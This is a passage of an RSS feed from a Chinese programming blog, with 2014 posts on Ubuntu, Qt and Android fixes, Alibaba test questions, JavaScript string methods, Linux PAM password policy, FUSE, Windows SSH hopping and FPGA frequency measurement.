      <link>https://bchobby.github.io/posts/58b6a137d5de4021b7cac395d16e2312/</link>
      <pubDate>Sat, 04 Oct 2014 07:35:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58b6a137d5de4021b7cac395d16e2312/</guid>
      <description> 1.硬件环境 Intel® Core™ i7-4600 CPU @ 3.10GHz × 4 2.显卡 Intel 集成显卡 3.系统版本 ubuntu12.04.2 4.现象 开机后，可以看到grub 菜单，通过grub 菜单进入 ubuntu 12.04,屏幕变黑，小光标一直在左上角闪动。 5.原因 图形界面程序损坏，可能是在更新内核或者安装软件的时候，把与xorg相关的文件给清除了。 6.解决方案。 系统黑屏后 Ctrl+ALT+F4 进入 命令行模式 sudo apt-get update sudo apt-get install xserver-xorg-lts-quantal sudo dpkg-reconfigure xserver-xorg-lts-quantal sudo reboot </description>
    </item>
    <item>
      <title>Qt程序错误记录</title>
      <link>https://bchobby.github.io/posts/bca928d5581ec99619eecee16775306d/</link>
      <pubDate>Thu, 02 Oct 2014 21:31:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bca928d5581ec99619eecee16775306d/</guid>
      <description>Qt程序错误记录&#xA;1、有的程序用到setMainWidget()函数,如果你用的Qt版本是4.0以上的会报错如下：&#xA;error: ‘class QApplication’ has no member named ‘setMainWidget’ 错误是由于版本问题，setMainWidget是Qt3的，而在Qt4中，这个函数已经不用了，如果想兼容Qt3，可以再程序头文件前加以下语句(不能在头文件后)：&#xA;#define QT3_SUPPORT 之后，带有setMainWidget的程序可以成功编译。&#xA;2、错误：&#xA;致命错误：qvbox.h: No such file or directory 在Qt4的编译环境中编Qt3的教程家庭价值时，会出现上述错误。&#xA;解决办法：将头文件改成qboxlayout.h，在程序内容修改：&#xA;#include &amp;lt;qboxlayout.h&amp;gt; QVBox box; 改为(或包含)：&#xA;QWidget box; layout.addWidget(&amp;amp;quit); box.setLayout(&amp;amp;layout); box.show(); 之后，程序即可编译成功。&#xA;3、错误：’Horizontal‘在此作用域中尚未声明&#xA;解决方法：在OSlider函数中第1个参数Horizontal修改为Qt::Horizontal，编译即可成功。&#xA;4、make命令出现：make: Nothing to be done for `first&#39;；&#xA;解决方法：在当前目录下，删除除了源程序之外的*.cpp和*.h(即中间生成的.cpp和.h文件)，重新执行以下命令：&#xA;qmake -project qmake *.pro make make成功。&#xA;5、待续。。。</description>
    </item>
    <item>
      <title>android开发步步为营之48：通过WifiManager自动连上某个wifi热点</title>
      <link>https://bchobby.github.io/posts/4e285b8725170b6d8c8fe1ed67b0b2d7/</link>
      <pubDate>Sun, 28 Sep 2014 20:24:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e285b8725170b6d8c8fe1ed67b0b2d7/</guid>
      <description>最近参加了个某个创业公司的面试，他们做了个应用，就是用户打开他们的应用就可以提供免费上网的功能，然后面试的过程中，那哥们说，你对wifi这些协议你懂吗？需要用到比较底层的东西哦，我勒个去，就这么一个上网功能就需要很底层吗？搞得很高深的样子，真是底层是涉及到修改android的框架了，修改手机ROM了，你们做到这一步了吗？没有吧，只是在android框架提供api基础上实现的，为此，我今天特意实验了一把。也就10几分钟就搞定的事情，我被你们懵到了，额。。。&#xA;开发过程中主要用到WifiManager这个系统自带的服务，它有如下几个状态&#xA;WifiManager.WIFI_STATE_DISABLED: //wifi不可用 WifiManager.WIFI_STATE_DISABLING://wifi 正在关闭或者断开 WifiManager.WIFI_STATE_ENABLED://wifi已经打开可用 WifiManager.WIFI_STATE_ENABLING://wifi正在打开或者连接 WifiManager.WIFI_STATE_UNKNOWN://未知消息 好，开始我们的实验：&#xA;第一步：AndroidManifest.xml添加相关权限&#xA;&amp;lt;uses-permission android:name=&#34;android.permission.CHANGE_NETWORK_STATE&#34; /&amp;gt;&#xA;&amp;lt;uses-permission android:name=&#34;android.permission.CHANGE_WIFI_STATE&#34; /&amp;gt;&#xA;&amp;lt;uses-permission android:name=&#34;android.permission.ACCESS_NETWORK_STATE&#34; /&amp;gt;&#xA;&amp;lt;uses-permission android:name=&#34;android.permission.ACCESS_WIFI_STATE&#34; /&amp;gt;&#xA;&amp;lt;uses-permission android:name=&#34;android.permission.INTERNET&#34; /&amp;gt;&#xA;&amp;lt;uses-permission android:name=&#34;android.permission.WAKE_LOCK&#34; /&amp;gt;&#xA;第二步：新建测试页面/study/res/layout/activity_wifi.xml&#xA;&amp;lt;RelativeLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34;&#xA;xmlns:tools=&#34;http://schemas.android.com/tools&#34;&#xA;android:layout_width=&#34;match_parent&#34;&#xA;android:layout_height=&#34;match_parent&#34;&#xA;android:paddingBottom=&#34;@dimen/activity_vertical_margin&#34;&#xA;android:paddingLeft=&#34;@dimen/activity_horizontal_margin&#34;&#xA;android:paddingRight=&#34;@dimen/activity_horizontal_margin&#34;&#xA;android:paddingTop=&#34;@dimen/activity_vertical_margin&#34;&#xA;tools:context=&#34;.MainActivity&#34; &amp;gt;&#xA;&amp;lt;Button&#xA;android:id=&#34;@+id/btnWifi&#34;&#xA;android:layout_width=&#34;wrap_content&#34;&#xA;android:layout_height=&#34;wrap_content&#34;&#xA;android:layout_marginTop=&#34;47dp&#34;&#xA;android:text=&#34;自动连上wifi&#34; /&amp;gt;&#xA;&amp;lt;/RelativeLayout&amp;gt;&#xA;第三步：实现Activity，WifiManagerTestActivity.java&#xA;/**&#xA;* 自动选择连上某个wifi信号&#xA;*/&#xA;package com.figo.study;&#xA;import java.util.List;&#xA;import android.app.Activity;&#xA;import android.content.Context;&#xA;import android.net.wifi.WifiConfiguration;&#xA;import android.net.wifi.WifiConfiguration.AuthAlgorithm;&#xA;import android.net.wifi.WifiConfiguration.KeyMgmt;&#xA;import android.</description>
    </item>
    <item>
      <title>2014年阿里巴巴9月14号笔试题</title>
      <link>https://bchobby.github.io/posts/b94d1115c370dfcdb955a6a883a3d5a0/</link>
      <pubDate>Sat, 27 Sep 2014 15:38:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b94d1115c370dfcdb955a6a883a3d5a0/</guid>
      <description>一、单选题&#xA;1.假设把整数关键码K散列到N个槽列表，以下哪些散列函数是好的散列函数&#xA;A: h(K)=K/N;&#xA;B: h(K)=1;&#xA;C: h(K)=K mod N;&#xA;D: h(K)=(K+rand(N)) mod N, rand(N)返回0到N-1的整数&#xA;选择C，解释：hash的特性在于常数的时间执行插入、删除和查找操作，用D作为hash函数无法满足该条件，因为函数的返回值不确定，这样无法进行正常的查找。用C产生碰撞可以用链接法解决冲突 2.下面排序算法中，初始数据集的排列顺序对算法的性能无影响的是：&#xA;A: 堆排序 B：插入排序 C: 冒泡排序 D:快速排序&#xA;选择A，解释：(1)堆排序的时间复杂度一直都是O(nlogn),不稳定(2)插入排序在初始有序情况下，时间复杂度为O(n),平均时间复杂度为O(n^2)，稳定排序(3)冒泡排序在初始有序的情况下，增加交换标示flag可将时间复杂度降到O(n),稳定排序(4)快速排序在初始有序的情况下，可能会退化到O(n^2)，不稳定排序&#xA;3. 下面说法错误的是：&#xA;A: CISC计算机比RISC计算机指令多&#xA;B: 在指令格式中，采用扩展操作码设计方案的目的是为了保持指令字长不变而增加寻址空间&#xA;C:增加流水线段数理论上可以提高CPU频率&#xA;D:冯诺依曼体系结构的主要特征是存储程序的工作方式&#xA;选择B，解释(1)CISC复杂指令集，RISC精简指令集，从名字上就可以得出A正确(2)保持指令字长度不变而增加指令操作的数量(3)看样子都觉得正确(4)冯诺依曼体系结构的主要特点：存储程序控制(要求计算机完成的功能，必须事先编制好相应的程序，并输入到存储器中，计算机的工作过程是运行程序的过程);程序由指令构成，指令和数据都用二进制表示;指令由操作码和地址码构成;机器以cpu为中心&#xA;4. 不属于冯诺依曼体系结构必要组成部分是：&#xA;A:CPU B: Cache C:RAM D:ROM&#xA;B，解释：冯诺依曼体系结构必要组成部分：运算器、控制器、存储器、输入设备、输出设备，Cache属于缓存了&#xA;6.你认为可以完成编写一个C语言编译器的语言是：&#xA;A：汇编 B:C语言 C:VB D:以上全可以&#xA;D,解释：其实你学好编译原理用什么语言都能写出来&#xA;7. 关于C++/JAVA类中的static成员和对象成员的说法正确的是：&#xA;A：static成员变量在对象构造时候生成&#xA;B: static成员函数在对象成员函数中无法调用&#xA;C: 虚成员函数不可能是static成员函数&#xA;D: static成员函数不能访问static成员变量&#xA;C,解释：(1)类的static成员变量属于该抽象类，需要在类定义时初始化，不可以在对象的构造函数中初始化。static成员变量可以直接定义，例如public statci $a = 10; 所以A错(2)static成员函数在对象成员函数中可以调用，同属于一个类作用域，在对象成员函数里可以通过类名：：static函数名的方法调用(4)static成员函数只能够访问static 成员变量，同样道理，类名：：static成员变量名，这也是访问static成员变量唯一的方法(3)是正确的&#xA;8，假设下图中每个正方形的边长为1，则从A到Z的最短路径条数为&#xA;A,11 B,12 C,13 D,14&#xA;C，解释</description>
    </item>
    <item>
      <title>javascript substring 用法详解</title>
      <link>https://bchobby.github.io/posts/12d7a5688262d76d97d0b23870f2ca2b/</link>
      <pubDate>Wed, 24 Sep 2014 13:01:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12d7a5688262d76d97d0b23870f2ca2b/</guid>
      <description>原文：javascript substring 用法详解&#xA;本文介绍js中substring和substr的用法，由 17JavaScript 编辑整理，希望对大家学习JS有所帮助。&#xA;substring 方法用于提取字符串中介于两个指定下标之间的字符&#xA;substring(start,end)&#xA;开始和结束的位置，从零开始的索引&#xA;参数 描述&#xA;start 必需。一个非负的整数，规定要提取的子串的第一个字符在 stringObject 中的位置。&#xA;stop 可选。一个非负的整数，比要提取的子串的最后一个字符在 stringObject 中的位置多 1。如果省略该参数，那么返回的子串会一直到字符串的结尾。&#xA;返回值&#xA;一个新的字符串，该字符串值包含 stringObject 的一个子字符串，其内容是从 start 处到 stop-1 处的所有字符，其长度为 stop 减 start。&#xA;说明&#xA;substring 方法返回的子串包括 start 处的字符，但不包括 end 处的字符。&#xA;如果 start 与 end 相等，那么该方法返回的就是一个空串（即长度为 0 的字符串）。&#xA;如果 start 比 end 大，那么该方法在提取子串之前会先交换这两个参数。&#xA;如果 start 或 end 为负数，那么它将被替换为 0。&#xA;2.substr 方法&#xA;定义和用法&#xA;substr 方法用于返回一个从指定位置开始的指定长度的子字符串。&#xA;语法&#xA;stringObject.substr(start [, length ])&#xA;参数 描述</description>
    </item>
    <item>
      <title>关于linux系统密码策略的设置</title>
      <link>https://bchobby.github.io/posts/df08cc53ece1532fe31cb3aa98416926/</link>
      <pubDate>Wed, 24 Sep 2014 02:40:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df08cc53ece1532fe31cb3aa98416926/</guid>
      <description>由于工作需要最近需要将公司的多台linux服务器进行密码策略的设置，主要内容是增加密码复杂度。&#xA;操作步骤如下，不会的同学可以参考：&#xA;操作前需要掌握如下几个简单的知识点：（其实不掌握也行，不过学学没坏处）&#xA;PAM（Pluggable Authentication Modules ）是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API，将系统提供的服务 和该服务的认证方式分开，使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序，同时也便于向系 统中添加新的认证手段。PAM最初是集成在Solaris中，目前已移植到其它系统中，如Linux、SunOS、HP-UX 9.0等。&#xA;PAM的配置是通过单个配置文件/etc/pam.conf。RedHat还支持另外一种配置方式，即通过配置目录/etc/pam.d/，且这种的优先级要高于单 个配置文件的方式。&#xA;1、使用配置文件/etc/pam.conf&#xA;该文件是由如下的行所组成的：&#xA;service-name module-type control-flag module-path arguments&#xA;service-name 服务的名字，比如telnet、login、ftp等，服务名字“OTHER”代表所有没有在该文件中明确配置的其它服务。&#xA;module-type 模块类型有四种：auth、account、session、password，即对应PAM所支持的四种管理方式。同一个服务可以调用多个 PAM模块进行认证，这些模块构成一个stack。&#xA;control-flag 用来告诉PAM库该如何处理与该服务相关的PAM模块的成功或失败情况。它有四种可能的 值：required，requisite，sufficient，optional。&#xA;required 表示本模块必须返回成功才能通过认证，但是如果该模块返回失败的话，失败结果也不会立即通知用户，而是要等到同一stack 中的所有模块全部执行完毕再将失败结果返回给应用程序。可以认为是一个必要条件。&#xA;requisite 与required类似，该模块必须返回成功才能通过认证，但是一旦该模块返回失败，将不再执行同一stack内的任何模块，而是直 接将控制权返回给应用程序。是一个必要条件。注：这种只有RedHat支持，Solaris不支持。&#xA;sufficient 表明本模块返回成功已经足以通过身份认证的要求，不必再执行同一stack内的其它模块，但是如果本模块返回失败的话可以 忽略。可以认为是一个充分条件。&#xA;optional表明本模块是可选的，它的成功与否一般不会对身份认证起关键作用，其返回值一般被忽略。&#xA;对于control-flag，从Linux-PAM-0.63版本起，支持一种新的语法，具体可参看LinuxPAM文档。&#xA;module-path 用来指明本模块对应的程序文件的路径名，一般采用绝对路径，如果没有给出绝对路径，默认该文件在目录/usr/lib/security下面。&#xA;arguments 是用来传递给该模块的参数。一般来说每个模块的参数都不相同，可以由该模块的开发者自己定义，但是也有以下几个共同 的参数：&#xA;debug 该模块应当用syslog( )将调试信息写入到系统日志文件中。&#xA;no_warn 表明该模块不应把警告信息发送给应用程序。&#xA;use_first_pass 表明该模块不能提示用户输入密码，而应使用前一个模块从用户那里得到的密码。&#xA;try_first_pass 表明该模块首先应当使用前一个模块从用户那里得到的密码，如果该密码验证不通过，再提示用户输入新的密码。&#xA;use_mapped_pass 该模块不能提示用户输入密码，而是使用映射过的密码。&#xA;expose_account 允许该模块显示用户的帐号名等信息，一般只能在安全的环境下使用，因为泄漏用户名会对安全造成一定程度的威胁。&#xA;2、使用配置目录/etc/pam.d/（只适用于RedHat Linux）&#xA;该目录下的每个文件的名字对应服务名，例如ftp服务对应文件/etc/pam.d/ftp。如果名为xxxx的服务所对应的配置文件/etc/pam.d/xxxx不存 在，则该服务将使用默认的配置文件/etc/pam.d/other。每个文件由如下格式的文本行所构成：&#xA;module-type control-flag module-path arguments&#xA;每个字段的含义和/etc/pam.conf中的相同。&#xA;由于公司使用的是RedHat的linux故此我将使用pam.d这个配置目录。密码复杂度通过/etc/pam.d/system-auth这个文件来实现的故此我们先看一下默认有什么内容然后将这个文件备份一个：&#xA;在这个文件中我们会用到pam_cracklib.so这个模块。pam_cracklib.so是一个常用并且非常重要的PAM模块。该模块主要的作用是对用户密码的强健性进行检测。即检查和限制用户自定义密码的长度、复杂度和历史等。如不满足上述强度的密码将拒绝使用。&#xA;pam_cracklib.so比较重要和难于理解的是它的一些参数和计数方法，其常用参数包括： debug：将调试信息写入日志；</description>
    </item>
    <item>
      <title>FUSE简介（译）</title>
      <link>https://bchobby.github.io/posts/ebd32bd621812be6dc3b6c63a845f877/</link>
      <pubDate>Tue, 23 Sep 2014 13:55:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebd32bd621812be6dc3b6c63a845f877/</guid>
      <description>原文：http://www.linux.org/threads/fuse.6211/&#xA;译文：&#xA;FUSE(The Filesystem in Userspace)在Kernel中是一个奇特的部分，它允许通常的用户不用修改Kernel或取得Root权限，就能制作或使用他们自己的文件系统。在FUSE中使用的文件系统是虚文件系统（Virtual Filesystems)，但并非所有的虚文件系统使用的都是FUSE。FUSE的代码Kernel中，但文件系统位于User Space。不过，典型的文件系统还是存在于Kernel中。&#xA;FUSE允许用户制作、修改或者临时使用一个特殊的文件系统。FUSE还可以被用于给系统或软件增加一些额外的特性与能力，如，GVFS(GNOME Virtual Filesystem)允许程序以类似存取本地文件的方式存取远程文件系统，而FUSE使之成为可能。并且，在写这篇文章的时候，Linux Kernel还没有原生支持exFat（又叫做FAT64），但用户可以使用FUSE挂载exFAT/FAT64文件系统。不过， FUSE可能需要安装一些额外的支持包来运行这些文件系统。例如，如果用户需要使用上面提到的exFAT，则需要安装扩展了FUSE的“exfat-fuse&#34;包，该包是一个FUSE的驱动包。下图是更多的FUSE扩展包：&#xA;FUSE项目位于http://fuse.sourceforge.net/，是一个开源项目，任何人都可以获取和使用，且稳定、安全与可靠。不过，如果使用一个“真”的文件系统，效率会更好。FUSE与Solaris，FreeBSD，Darwin，GNU/Hurd，OS X，OpenSolaris等OS兼容。有些OS不支持FUSE，但可以使用一些源自FUSE的替代品，如NetBSD使用PUFFS，而Windows使用“Fuse4Win&#34;。&#xA;FUSE不仅仅用于挂载虚文件系统，还用于”真“的文件系统，如ZFS和exFAT。FUSE还可以挂载ISO，CD以及压缩的文件（zip，gzip，tar等等）。FUSE还扩展到了网络文件系统，如HTTP-FS，Aptfs（apt repos）等等。FUSE可以被用于传输Apple设备（如iPod和iPhone）上的文件。更神奇的是，FUSE还可以通过mp3fs将FLAC转换为mp3。&#xA;用户可以实现他们自己的文件系统，而不用修改Kernel。用户文件系统以一种类似的方式来开发。如果用户希望使用Ruby实现一种虚文件系统，则需要”ruby-fusefs&#34;包。许多语言提供了FUSE的绑定，如Perl，Python，C/C++，C#等等。完整的语言绑定列表：http://sourceforge.net/apps/mediawiki/fuse/index.php?title=LanguageBindings.&#xA;使用FUSE，这些虚文件系统并未被格式化。相反，用户需要初始化这些文件系统，并将它挂载到用户有权访问的空目录上。&#xA;现在我们已经知道了FUSE的很多知识，该解释其如何工作了。FUSE是一个Linux的中介者（Mediaor)模块，位于FUSE文件系统与Linux Kernel的VFS之间。VFS只能被特权用户或进程访问。由于用户可以存取FUSE，而FUSE可以存取VFS，这就是权限系统为何允许任何用户使用FUSE。对于FUSE自身来说，代码中包含一个结构体变量，其中包含了许多进程可能会到的FUSE的函数指针。&#xA;简单的FUSE结构体变量代码：&#xA;struct fuse_operations { int (*mknod) (const char *, mode_t, dev_t); int (*getdir) (const char *, fuse_dirh_t, fuse_dirfil_t); int (*mkdir) (const char *, mode_t); int (*rmdir) (const char *); int (*readlink) (const char *, char *, size_t); int (*symlink) (const char *, const char *); int (*unlink) (const char *); int (*rename) (const char *, const char *); int (*link) (const char *, const char *); int (*chmod) (const char *, mode_t); int (*chown) (const char *, uid_t, gid_t); int (*truncate) (const char *, off_t); int (*utime) (const char *, struct utimbuf *); int (*open) (const char *, struct fuse_file_info *); int (*read) (const char *, char *, size_t, off_t, struct fuse_file_info *); int (*write) (const char *, const char *, size_t, off_t,struct fuse_file_info *); int (*statfs) (const char *, struct statfs *); int (*flush) (const char *, struct fuse_file_info *); int (*release) (const char *, struct fuse_file_info *); int (*fsync) (const char *, int, struct fuse_file_info *); int (*getattr) (const char *, struct stat *); int (*setxattr) (const char *, const char *, const char *, size_t, int); int (*getxattr) (const char *, const char *, char *, size_t); int (*listxattr) (const char *, char *, size_t); int (*removexattr) (const char *, const char *); }; 所以，如果一个进程使用FUSE执行Write操作，则文件系统执行write()的代码。</description>
    </item>
    <item>
      <title>关于多个布局文件中的view共用一个id的问题的探讨</title>
      <link>https://bchobby.github.io/posts/d9dc7752e992482151fc0554750812b5/</link>
      <pubDate>Tue, 23 Sep 2014 10:01:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9dc7752e992482151fc0554750812b5/</guid>
      <description>以前一直以为多个不同的activity中某些View的id名称相同，不会有影响，因为创建activity的时候，会先加载布局文件，再根据布局文件，在R文件中查找id，所以不会有影响。但是今天我遇到了这个问题，找了半天才找出来，我有2个xml布局文件中不同作用的View的id相同，昨天测试没有任何问题，今天一打开，无论如何，公用一个id的view的点击事件就是没有效果，找了半天，还是没找出来，结果自己将这个activity重新写了一遍，竟然又可以了，对照着2个activity，发现一模一样，真是郁闷，问题到底在哪呢？&#xA;我在之前的activity中通过点击id进入相应的布局文件，进入的是另一个布局文件，而非当前activity引用的布局文件，这个本来是没有关系的，也不会有影响，自己根本也没有往这方面想。搞了半天也没找出问题所在，后来也不知怎么的，鬼使神差的把id名称换了一下，靠，结果，一切ok，看来经验有时害死人啊！为了避免再次出现这种错误，以后命名的时候，不要怕长，还是老老实实的命名。&#xA;布局文件命名带上引用该布局文件的activity名称，布局文件中的id命名带上该布局文件的名称，这样就不会出错了。</description>
    </item>
    <item>
      <title>用Qt在Android上实现文件浏览器</title>
      <link>https://bchobby.github.io/posts/76a6f9ece2fcf133b3657da3915fff83/</link>
      <pubDate>Mon, 22 Sep 2014 21:08:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76a6f9ece2fcf133b3657da3915fff83/</guid>
      <description>前阵子想过用Qt写一个符合android手机操作习惯的文件浏览器，今天动手实现了。&#xA;查看网上关于这方面的例子，真是太少了，基本上都是介绍怎么用java来实现的。不过既然java能实现，那么c++肯定也能够实现。&#xA;Eclipse里面用的是ListView这个控件，刚好Qt有个QListView控件，名字相近，所以就选择使用它了。下面这个图是我设计的文件浏览器界面，设定成横版的了。&#xA;下面是代码部分：&#xA;DirectoryViewer.h #ifndef DirectoryViewer_H #define DirectoryViewer_H #include &amp;lt;QDialog&amp;gt; #include &amp;lt;QFileSystemModel&amp;gt; namespace Ui { class DirectoryViewer; } class DirectoryViewer : public QDialog { Q_OBJECT public: explicit DirectoryViewer(QWidget *parent = 0); ~DirectoryViewer(); public slots: void btn_Choose_Clicked(); void btn_Return_Clicked(); void btn_Open_Clicked(); void Item_DoubleClicked(QModelIndex index); public: QString m_ChoosePath; private: Ui::DirectoryViewer *ui; QFileSystemModel *model; QString m_nCurrentPath; QDir root_Dir; QDir current_Dir; QModelIndex index; }; #endif // DirectoryViewer_H DirectoryViewer.cpp #include &#34;DirectoryViewer.h&#34; #include &#34;ui_DirectoryViewer.h&#34; #include &amp;lt;QDesktopWidget&amp;gt; DirectoryViewer::DirectoryViewer(QWidget *parent) : QDialog(parent), ui(new Ui::DirectoryViewer) { ui-&amp;gt;setupUi(this); QDesktopWidget * deskTop = QApplication::desktop(); move( (deskTop-&amp;gt;width()-this-&amp;gt;width())/2,(deskTop-&amp;gt;height()-this-&amp;gt;height())/2); model = new QFileSystemModel(this); model-&amp;gt;setFilter(QDir::AllEntries|QDir::NoDotAndDotDot); root_Dir = QDir::rootPath(); m_nCurrentPath = root_Dir.</description>
    </item>
    <item>
      <title>25个精美的Jquery Mobile手机网站模板</title>
      <link>https://bchobby.github.io/posts/4baebdfb8dd9bae0f3cbef67bb7e6614/</link>
      <pubDate>Mon, 22 Sep 2014 16:55:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4baebdfb8dd9bae0f3cbef67bb7e6614/</guid>
      <description> http://www.ihuxu.com/25-jquery-mobile-templates.html </description>
    </item>
    <item>
      <title>WIN下架设SSH服务器并通过命令行SSH跳转到其他SSH服务器</title>
      <link>https://bchobby.github.io/posts/55c86514afb656b4cf84f4db158ebafa/</link>
      <pubDate>Wed, 10 Sep 2014 16:19:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55c86514afb656b4cf84f4db158ebafa/</guid>
      <description>正常情况我们都是要ssh的客户端直接连接到ssh的服务端的，即使是跳转也是在linux或者其他UNIX系统下通过ssh-server跳转到其他开启SSH服务的主机上，因为openssh-server、ssh-client这类软件unix、linux系统都是默认安装并开启的。&#xA;作为经常搞技术的人应该都应该能有所了解，我们通常自己工作的本本或主机都是为win系统的，生产环境的服务器也是win都是居多，如果生产环境的网络和办公环境的网络之间不直接有网络连接，我们基本上每次都需要登录到生产环境的WIN服务器上然后开启SSH的客户端连接到linux的服务器上。这其实是非常麻烦的，由于了解到linux系统上可以使用ssh进行linux系统之间的跳转，那么win应该也是可以的，经过几次尝试总结了如下方法可以使用在win下使用SSH通过win主机跳转到linux系统上。&#xA;环境：&#xA;主机A：192.168.1.100 win2003系统，此为我们平时工作用的主机或者本本&#xA;主机B：192.168.2.101 win2003系统，此为生产环境的一台主机，此台主机可以与我们使用的工作主机A直接连接。&#xA;主机C：192.168.2.102 linux系统，此为生产环境的一台主机，此台主机不可以与我们使用的主机A直接连接，但是可以与主机B直接连接。&#xA;目的：&#xA;在主机A开启SSH客户端程序，通过主机B跳转到主机C。&#xA;工具：&#xA;1、winsshb，将其安装到主机B中，安装时请选择“personal edition”。&#xA;2、openssh for win，将其安装到主机B中，安装时只选择“client”。&#xA;3、如果有防火墙请开启22端口。&#xA;步骤：&#xA;1、在主机A中打开SSH客户端，连接到主机B。&#xA;2、登录到主机B中之后，使用“ssh 用户名@192.168.1.102”登录到主机C。&#xA;3、跳转完成，使用命令查看跳转完成后是否是主机C。&#xA;winsshb for win下载地址&#xA;http://download.csdn.net/detail/wxlbrxhb/7890887&#xA;openssh for win下载地址&#xA;http://download.csdn.net/detail/wxlbrxhb/7890921&#xA;如有不足之处欢迎留言讨论</description>
    </item>
    <item>
      <title>fpga等精度频率测量原理</title>
      <link>https://bchobby.github.io/posts/c0a059fe213167f226c69838f0ff61e4/</link>
      <pubDate>Sat, 06 Sep 2014 11:23:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0a059fe213167f226c69838f0ff61e4/</guid>
      <description>之前讲到的测周测频存在+1误差，因为在闸门开始的时间内，计数不一定就开始了。例如测频方法，在低频时相对误差就大了。虽然有高频测频低频测周的说法，但难以确定一个界限。因此要找一个一劳永逸的频率算法。&#xA;等精度频率测量可以满足需要。它最大的特点在于，闸门时间永远是被测信号周期的整数倍。也就是说，当闸门使能时，实际闸门并未开始，而是要等到被测信号的上升沿到来之时，两个计数器才同时开始计数。闸门关闭也是要等到信号上升沿到来才真正的关闭。下面这个时序图（摘自百度文库）很好的说明这点。&#xA;要看懂这个时序图，计数使能的实现：&#xA;always @(posedge datain)&#xA;begin&#xA;ena &amp;lt;= gate;&#xA;end&#xA;相当于D触发器一样，闸门受同步了，延迟了。接着&#xA;always @(posedge datain)&#xA;begin&#xA;if(ena == 1)......end&#xA;always @(posedge clkref)&#xA;begin if(ena == 1)......end&#xA;这种计数便能消除+1误差。所谓等精度，就是说相对误差和频率本身没有关系，无所谓高低频的顾虑。误差取决于标准信号，可以用锁相环产生。要进一步减少误差，应该提高标准信号的频率，使计数值增大。&#xA;最终的公式：fo/No = f1/N1。&#xA;---------------------------------------------------------------&#xA;补充，2014-12-16：&#xA;今天又看了一遍等精度测量的原理，觉得之前很多都理解的不到位，上面的代码也修改了一番。&#xA;我认为等精度测量的突出特点：多了标准信号；使能延迟；除法运算。&#xA;有段话说的好：等精度测频能够在整个频域内保持恒定的精度。当然，这不是说等精度测频没有误差，而是由于误差恒定，不催被测信号频率变化而变化，所以方便了频率补偿，有助于提高精度。这个恒定的误差只限于标准信号频率上。</description>
    </item>
    <item>
      <title>Uncaught SyntaxError: Unexpected token )</title>
      <link>https://bchobby.github.io/posts/cebb00772bef0fc8945299e2f02e6d5d/</link>
      <pubDate>Fri, 05 Sep 2014 10:34:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cebb00772bef0fc8945299e2f02e6d5d/</guid>
      <description> Uncaught SyntaxError: Unexpected token )&#xA;以下代码引发了此异常：&#xA;&amp;lt;div class=&#34;Hd_live_Sharediv left&#34;&amp;gt; &amp;lt;a href=&#34;javascript:void()&#34; οnclick=&#34;loadLivePlayer(&#39;ud&#39;)&#34; style=&#34;width:40px;&#34;&amp;gt;超清&amp;lt;/a&amp;gt; &amp;lt;a href=&#34;javascript:void()&#34; οnclick=&#34;loadLivePlayer(&#39;hd&#39;)&#34; style=&#34;width:40px;&#34;&amp;gt;高清&amp;lt;/a&amp;gt; &amp;lt;a href=&#34;javascript:void()&#34; οnclick=&#34;loadLivePlayer(&#39;sd&#39;)&#34; style=&#34;width:40px;&#34;&amp;gt;流畅&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt;可能引发此错误的原因： 1、href属性值“javascript:void()”，括号中没有加“0”&#xA;void 操作符用法格式如下： 1. javascript:void (expression) 2. javascript:void expression expression 是一个要计算的 Javascript 标准的表达式。表达式外侧的圆括号是选的，但是写上去是一个好习惯。 (实现版本 Navigator 3.0 ) 你以使用 void 操作符指定超级链接。表达式会被计算但是不会当前文档处装入任何内容。 &amp;lt;div class=&#34;Hd_live_Sharediv left&#34;&amp;gt; &amp;lt;a href=&#34;javascript:void(0)&#34; οnclick=&#34;loadLivePlayer(&#39;ud&#39;)&#34; style=&#34;width:40px;&#34;&amp;gt;超清&amp;lt;/a&amp;gt; &amp;lt;a href=&#34;javascript:void(0)&#34; οnclick=&#34;loadLivePlayer(&#39;hd&#39;)&#34; style=&#34;width:40px;&#34;&amp;gt;高清&amp;lt;/a&amp;gt; &amp;lt;a href=&#34;javascript:void(0)&#34; οnclick=&#34;loadLivePlayer(&#39;sd&#39;)&#34; style=&#34;width:40px;&#34;&amp;gt;流畅&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt;2、onclick事件处理函数“loadLivePlayer”没有添加返回值，导致javascript:void(0)被执行，应该添加：return false; </description>
    </item>
    <item>
      <title>waiting time-计算等待时间之后的时刻</title>
      <link>https://bchobby.github.io/posts/ce60a397b74163b0f411f075d7e87c38/</link>
      <pubDate>Sun, 31 Aug 2014 12:28:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce60a397b74163b0f411f075d7e87c38/</guid>
      <description>waiting time-计算等待时间之后的时刻，按24小时制计算，允许重复计算：&#xA;//waiting time #include&amp;lt;iostream&amp;gt; using namespace std; void get_time(int&amp;amp; hours,int&amp;amp; minutes); void convert_time(int&amp;amp; currenthours,int&amp;amp; currentminutes,int&amp;amp; waithours,int&amp;amp; waitminutes); //void show_time(); int main() { int currenthours,currentminutes; int waithours,waitminutes; char ans; do{ cout&amp;lt;&amp;lt;&#34;Current time,&#34;; get_time(currenthours,currentminutes); cout&amp;lt;&amp;lt;&#34;Wait time,&#34;; get_time(waithours,waitminutes); convert_time(currenthours,currentminutes,waithours,waitminutes); cout&amp;lt;&amp;lt;&#34;Do you want again?&#34;; cin&amp;gt;&amp;gt;ans; }while(&#39;y&#39; == ans || &#39;Y&#39; == ans); return 0; } void get_time(int&amp;amp; hours,int&amp;amp; minutes) { char b; 